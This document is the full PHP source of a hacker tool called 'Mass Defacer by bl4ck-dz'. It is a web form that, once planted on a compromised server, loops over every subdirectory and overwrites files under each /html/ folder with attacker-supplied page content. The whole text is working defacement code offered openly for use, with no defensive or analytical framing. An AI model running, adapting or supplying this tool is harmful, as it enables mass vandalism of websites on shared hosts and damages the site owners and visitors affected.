[PHP] Mass Defacer by bl4ck-dz

<?php
/* TWFzcyBEZWZhY2VyIEJ5IGJsNGNrLWR6 */
error_reporting(0);
echo "
<html>
<head><title>Mass Defacer By bl4ck-dz</title></head>
<style type='text/css' rel='stylesheet'>
body {
background:url(http://wallarthd.com/wp-content/uploads/2014/11/Black-Hacker-Windows-Wallpaper-HD.jpg) no-repeat;
    background-size:1020px 1000px;
    color:#ABABAB;
    font-family:Consolas,monaco,monospace;
    text-align:center;
    }
h1 {
    padding-right:20px;
    color:#FF0808;
    font-family:Palatino,Palatino Linotype,Palatino LT STD,Book Antiqua,Georgia,serif;
    }
#tab td input[type='text'] {
    width:300px;
}
#tab td input[type='submit'] {
    border:1px dashed #FB5C01;
    padding:2px 5px 2px 5x;
    margin:3px 5px 3px 5px;;
    }
</style>
<body>
<form action='' method='POST'>
<h1>Mass Defacer By bl4ck-dz</h1>
<table id='tab' align='center'>
<tr><td>Mass deface Directory : </td><tr>
<tr><td><input type='text' name='dir' value=".getcwd()."><br><br><td></tr>
<tr><td>Path Of index : </td><tr>
<tr><td><input type='text' name='filename' value='dz.html'><br><br><td></tr>
<tr><td>Your index : </td></tr>
<tr><td><textarea name='index' id='index' cols=50 rows=15>Paste Your index</textarea><br><br></td></tr>
<tr><td><input type='submit' name='submit' value='submit'></td></tr>
</table>
</form>";
$dir = $_POST['dir'];
$filename = $_POST['filename'];
$index =$_POST['index'];
class massdeface {
        private $dir;
        private $index;
        private $filename;
        private $path = "/html/"; # Here Change The Path
    public function __construct ($dir,$index,$filename) {
            $this->dir=$dir;
            $this->index=$index;
            $this->filename=$filename;
    }
    public function MassDef () {
    foreach (@scandir($this->dir) as $dirs ) {
            if (@is_dir($this->dir.$dirs)) {
                file_put_contents ("$this->dir/$dirs/$this->path/$this->filename",$this->index);
                echo "<table align='center' style='color:blue'><tr><td>".$dirs.$this->path.$this->filename."</td></tr></table>";
            }
        }
    }
}
$dz = new massdeface ($dir,$index,$filename);
echo $dz->MassDef();
echo "</body></html>";
?>